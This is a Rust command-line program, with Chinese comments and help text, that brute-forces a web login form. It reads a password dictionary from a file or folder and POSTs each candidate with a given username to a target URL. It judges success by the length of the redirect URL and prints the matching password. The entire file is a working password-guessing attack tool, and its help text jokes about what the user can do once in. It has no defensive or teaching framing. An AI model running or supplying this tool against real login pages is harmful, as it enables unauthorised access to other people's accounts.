use clap::{App, Arg};
use reqwest;
use std::{
    fs::{self, File},
    io::{self, Read},
    path::Path,
};
// use serde::{Deserialize, Serialize};

#[tokio::main]
async fn main() -> Result<(), reqwest::Error> {
    let matchs = App::new("尝试连接")
        .version("1.0")
        .about("Does great things! 尝试连接字典中的密码, 当匹配到, 你就可以嘿嘿嘿")
        .author("Ben X.")
        .arg(
            Arg::with_name("file")
                .help("设置字典文件的路径")
                .required(true)
                .index(1),
        )
        .arg(
            Arg::with_name("url")
                .help("输入目标http地址")
                .required(true)
                .index(2),
        )
        .arg(
            Arg::with_name("username")
                .help("输入登录名")
                .required(true)
                .index(3),
        )
        .get_matches();


    //读字典路径
    let dict = matchs.value_of("file").unwrap_or("输入的字典路径不正确");
    let path = Path::new(dict);

    //定义要读取的内容，一次全部读完
    let mut file_contents:Vec<String> = Vec::new();

    if !path.is_file() {
       let files =  read_dir(path).expect("读文件夹出问题");
       for file in files {
        file_contents.push(read_file(file.as_str()).unwrap()) ; 
       }
    }else{
        file_contents.push(read_file(dict).unwrap()) ; 
    }

    //读目标地址
    let target = matchs.value_of("url").unwrap_or("输入的目标地址有问题");
    let username = matchs.value_of("username").unwrap_or("输入的登录名有问题");

    //发请求
    let mut params = [
        ("operator_user", String::from("")),
        ("operator_pass", String::from("")),
        ("location", String::from("default"))
    ];
    params[0] = ("operator_user", username.to_owned());

    //计数
    let mut i = 0;

    for file_content in file_contents{

        //切割文件内容
        let split_contents: Vec<&str> = file_content.split('\n').collect();
        for passworld in split_contents {
            //修改密码
            params[1] = ("operator_pass",passworld.to_owned());

            i += 1;
            println!("--------第{}次尝试，尝试密码{:?}", i, passworld);
            let res = reqwest::Client::new()
                .post(target)
                .form(&params)
                .send()
                .await?
                .url()
                .as_str()
                .to_string();
            // .text()
            // .await?;

            println!("{}---{:?}", res, res.len());
            match res.len() {
                _x if res.len() > 50 => {}
                _ => {
                    println!("找到密码：{}", passworld);
                    return Ok(());
                }
            }
        }

    }
    println!("========没找到密码========");

    Ok(())
}

fn read_dir(dir: &Path) -> io::Result<Vec<String>> {
    let mut v: Vec<String> = Vec::new();
    for entry in fs::read_dir(dir)? {
        let dir = entry?;
        if let Some(p) = dir.path().to_str() {
            v.push(String::from(p));
        }
    }
    return Ok(v);
}

fn read_file(dict:&str)-> io::Result<String> {
    
    let mut file = File::open(dict).expect("打开文件失败");
    let mut contents = String::new();
    file.read_to_string(&mut contents)
        .expect("读取内容失败, 或不是UTF-8");
    Ok(contents)
}
